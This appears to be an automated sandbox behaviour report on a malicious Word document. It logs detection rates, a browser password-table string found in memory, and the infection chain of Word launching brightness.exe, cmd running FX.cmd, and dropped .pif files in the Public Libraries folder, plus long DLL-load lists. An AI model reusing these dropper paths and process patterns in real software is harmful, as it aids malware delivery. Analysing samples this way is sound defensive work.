Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: jphwmyiA.pif, 0000000A.00000003.2370715212.000000002225E000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000003.2478621688.000000001D30F000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000003.2551268767.000000002391E000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: ITT # KRPBV2663 .doc	ReversingLabs: Detection: 47%
Source: ITT # KRPBV2663 .doc	Virustotal: Detection: 56%

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\brightness.exe C:\Windows\SysWOW64\brightness.exe
Source: C:\Windows\SysWOW64\brightness.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\brightness.exe	Process created: C:\Users\Public\Libraries\jphwmyiA.pif C:\Users\Public\Libraries\jphwmyiA.pif
Source: unknown	Process created: C:\Users\Public\Libraries\Aiymwhpj.PIF "C:\Users\Public\Libraries\Aiymwhpj.PIF"
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Process created: C:\Users\Public\Libraries\jphwmyiA.pif C:\Users\Public\Libraries\jphwmyiA.pif
Source: unknown	Process created: C:\Users\Public\Libraries\Aiymwhpj.PIF "C:\Users\Public\Libraries\Aiymwhpj.PIF"
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Process created: C:\Users\Public\Libraries\jphwmyiA.pif C:\Users\Public\Libraries\jphwmyiA.pif
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\brightness.exe C:\Windows\SysWOW64\brightness.exe	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Process created: C:\Users\Public\Libraries\jphwmyiA.pif C:\Users\Public\Libraries\jphwmyiA.pif	Jump to behavior
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Process created: C:\Users\Public\Libraries\jphwmyiA.pif C:\Users\Public\Libraries\jphwmyiA.pif
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Process created: C:\Users\Public\Libraries\jphwmyiA.pif C:\Users\Public\Libraries\jphwmyiA.pif

Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: url.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: smartscreenps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: winhttpcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: ??????????.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: ???.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: ???.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: ???.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: ??l.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: ??l.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: ?.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: ?.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: ??l.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: ????.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: ???e???????????.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: ???e???????????.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: ?.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: ?.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: ?.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: ?.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: ??l.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: ??l.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: tquery.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: spp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: spp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: endpointdlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: endpointdlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: endpointdlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: endpointdlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: advapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: advapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: advapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: advapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: advapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: advapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: advapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: spp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: sppwmi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: sppcext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: winscard.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: version.dll	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: apphelp.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: version.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: uxtheme.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: url.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: ieframe.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: iertutil.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: netapi32.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: userenv.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: winhttp.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: wkscli.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: netutils.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: amsi.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: smartscreenps.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: kernel.appcore.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: winmm.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: wininet.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: sspicli.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: windows.storage.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: wldp.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: profapi.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: mswsock.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: ieproxy.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: ieproxy.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: ieproxy.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: msasn1.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: iphlpapi.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: msasn1.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: msasn1.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: mssip32.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: msasn1.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: winnsi.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: mssip32.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: msasn1.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: mssip32.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: msasn1.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: ??????????.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: ??.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: sppc.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: ???.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: ???.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: ???.dll
